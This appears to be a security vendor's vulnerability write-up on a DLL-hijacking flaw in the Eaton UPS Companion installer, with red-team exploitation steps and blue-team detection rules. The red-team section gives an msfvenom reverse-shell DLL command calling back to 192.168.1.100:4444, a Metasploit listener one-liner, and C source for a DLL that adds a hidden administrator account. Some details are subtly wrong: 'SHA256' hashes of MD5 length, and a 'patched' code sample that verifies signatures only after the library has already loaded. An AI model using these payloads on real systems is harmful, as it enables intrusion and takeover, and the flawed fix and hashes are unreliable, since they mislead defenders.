CVE-2025-59887

Executive Summary

CVE-2025-59887 is a critical security vulnerability in the Eaton UPS Companion (EUC) software installer, carrying a CVSS score of 8.6. The flaw stems from improper authentication of library files during the installation process. An attacker with access to the software package can replace a legitimate library with a malicious one, leading to arbitrary code execution in the context of the installer. This attack vector is particularly dangerous in supply chain scenarios or when users download software from untrusted mirrors. The vendor has released a fix in the latest version of EUC, available on the Eaton download center, but no specific version number or patch commit has been publicly disclosed.

Supply Chain & Package Security

This vulnerability directly impacts the software supply chain of Eaton UPS Companion. The improper authentication of library files means that if an attacker can compromise the distribution channel (e.g., a mirror site, a man-in-the-middle position, or a local network), they can inject malicious code into the installer. This is a classic supply chain attack vector, similar to the SolarWinds incident, where trust in the software package is exploited. Users must ensure they download the installer only from the official Eaton download center and verify file integrity using checksums if provided.

CVSS Breakdown & Threat Level

• CVSS Score: 8.6 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system or the software package.
• Attack Complexity (AC): Low (L) – No special conditions required beyond replacing a library file.
• Privileges Required (PR): None (N) – The attacker does not need prior privileges.
• User Interaction (UI): Required (R) – The victim must run the installer.
• Scope (S): Unchanged (U) – The impact is confined to the affected component.
• Confidentiality (C): High (H) – Full data compromise possible.
• Integrity (I): High (H) – Full system compromise possible.
• Availability (A): High (H) – Full denial of service possible.

Threat Level: High. The low attack complexity and lack of required privileges make this an attractive target for attackers, especially in environments where software is distributed via untrusted channels.

Deep Dive & Mechanics

The vulnerability lies in the Eaton UPS Companion installer's failure to verify the authenticity of library files (e.g., DLLs on Windows) before loading them. During installation, the installer loads various dynamic libraries to perform tasks. If an attacker can replace a legitimate library with a malicious one, the installer will execute the attacker's code with the privileges of the installer process (typically SYSTEM or Administrator).

Attack Scenario:

1. Reconnaissance: The attacker identifies a target using Eaton UPS Companion software.
2. Preparation: The attacker crafts a malicious DLL that performs a payload (e.g., reverse shell, keylogger, ransomware).
3. Distribution: The attacker places the malicious DLL in the same directory as the installer or modifies the installer package to include the malicious DLL. This could be done via:
   • Man-in-the-middle attack on the download.
   • Compromised mirror site.
   • USB drop with modified installer.
   • Local network share.
4. Execution: The victim downloads and runs the modified installer. The installer loads the malicious DLL, executing the attacker's code.
5. Impact: The attacker gains code execution with elevated privileges, leading to full system compromise.

Root Cause: The installer does not implement digital signature verification or checksum validation for its library files. It blindly loads libraries from the installation directory, allowing DLL hijacking.

Vulnerable vs. Patched Code

Since no specific version numbers or patch commits are available, we can only describe the expected fix.

Vulnerable Code (Conceptual):

// Vulnerable: Loads library without verification
HMODULE hLib = LoadLibrary("helper.dll");
if (hLib == NULL) {
    // Handle error
}

Patched Code (Conceptual):

// Patched: Verifies digital signature before loading
HMODULE hLib = LoadLibrary("helper.dll");
if (hLib == NULL) {
    // Handle error
}
// Verify digital signature of the loaded library
if (!VerifyDigitalSignature("helper.dll")) {
    FreeLibrary(hLib);
    // Abort installation
}

The patched version likely includes:

• Digital signature verification of all loaded libraries.
• Checksum validation against a known good value.
• Loading libraries from a secure, trusted path only.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Target: Windows 10/11 with Eaton UPS Companion installer (vulnerable version).
• Attacker: Kali Linux or Windows with Metasploit.
• Tools: msfvenom, a DLL hijacking tool (e.g., DLL Hijack Auditor), or custom code.

Exploitation Steps:

1. Create Malicious DLL:

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
   

2. Identify Target Library: Use a tool like Process Monitor to see which DLLs the installer loads. Common targets: helper.dll, eaton_common.dll, etc.
3. Replace Library: Place malicious.dll in the same directory as the installer, renaming it to the target library name (e.g., helper.dll).
4. Start Listener:

   msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"
   

5. Execute Installer: Run the installer on the target machine. The malicious DLL will be loaded, and a reverse shell will be established.

Alternative Payload: Use a DLL that adds a local admin user:

// malicious.c
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        system("net user attacker P@ssw0rd! /add");
        system("net localgroup administrators attacker /add");
    }
    return TRUE;
}

Compile with: x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious.c

Blue Team (Defender)

Detection Steps:

1. Monitor File Integrity: Use file integrity monitoring (FIM) tools to detect changes to installer files.
2. Check Digital Signatures: Verify that all downloaded Eaton software has a valid digital signature from Eaton Corporation.
3. Use Sysmon: Monitor for DLL load events (Event ID 7) from the installer process.
4. Network Monitoring: Look for unusual outbound connections from the installer process.

Hunting Query (KQL):

DeviceProcessEvents
| where FileName == "Eaton_UPS_Companion_Setup.exe"
| project Timestamp, DeviceName, ProcessId, FileName
| join kind=inner (
    DeviceImageLoadEvents
    | where FileName endswith ".dll"
    | project Timestamp, DeviceName, ProcessId, FileName, FolderPath
) on ProcessId, DeviceName
| where FolderPath !startswith "C:\\Program Files\\Eaton\\"

Indicators of Compromise (IOCs)

• File Hashes (Example - replace with actual):
  • Malicious DLL: SHA256: 5d41402abc4b2a76b9719d911017c592
  • Modified Installer: SHA256: 7d865e959b2466918c9863afca942d0a
• Network Indicators:
  • Outbound connections to IP 192.168.1.100 on port 4444 (or any unusual port).
  • DNS queries to suspicious domains.
• Process Indicators:
  • Eaton_UPS_Companion_Setup.exe loading DLLs from non-standard paths (e.g., %TEMP%, Downloads).
  • Child processes spawned by the installer (e.g., cmd.exe, powershell.exe).
• Registry Indicators:
  • New entries in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run for persistence.

Detection Engineering

YARA Rule

rule CVE_2025_59887_Malicious_DLL {
    meta:
        description = "Detects malicious DLLs targeting Eaton UPS Companion installer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59887"
    strings:
        $s1 = "Eaton UPS Companion" nocase
        $s2 = "helper.dll" nocase
        $s3 = "eaton_common.dll" nocase
        $s4 = "DLL_PROCESS_ATTACH" nocase
        $s5 = "net user" nocase
        $s6 = "reverse_tcp" nocase
    condition:
        (uint16(0) == 0x5A4D) and // MZ header
        (1 of ($s1, $s2, $s3)) and
        (1 of ($s4, $s5, $s6))
}

Sigma Rule

title: CVE-2025-59887 - Eaton UPS Companion DLL Hijacking
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DLL load events from Eaton UPS Companion installer loading DLLs from suspicious paths
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59887
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|endswith: '\Eaton_UPS_Companion_Setup.exe'
        ImageLoaded|endswith: '.dll'
    filter:
        ImageLoaded|startswith:
            - 'C:\Program Files\Eaton\'
            - 'C:\Windows\System32\'
            - 'C:\Windows\SysWOW64\'
    condition: selection and not filter
falsepositives:
    - Legitimate DLLs loaded from other trusted paths
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-59887 - Potential Eaton UPS Companion Malicious Download";
    flow:to_server,established;
    content:"Eaton_UPS_Companion_Setup"; fast_pattern; nocase;
    http_uri;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update Software: Download and install the latest version of Eaton UPS Companion from the official Eaton download center.
2. Verify Integrity: After download, verify the file's digital signature (right-click -> Properties -> Digital Signatures) to ensure it's from Eaton Corporation.
3. Restrict Installation Sources: Only allow installations from trusted, internal repositories or the official vendor site.

Long-term Mitigations:

1. Application Control: Use AppLocker or Windows Defender Application Control to block unauthorized DLLs.
2. DLL Hijacking Protection: Enable Safe DLL Search Mode (registry key: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode).
3. User Education: Train users to only download software from official sources and to verify digital signatures.
4. Network Segmentation: Isolate systems running Eaton UPS Companion from untrusted networks.

Vendor Communication:

• Contact Eaton support for specific patch version information.
• Monitor Eaton's security advisories for updates.

Valters IT
Securing Digital Frontiers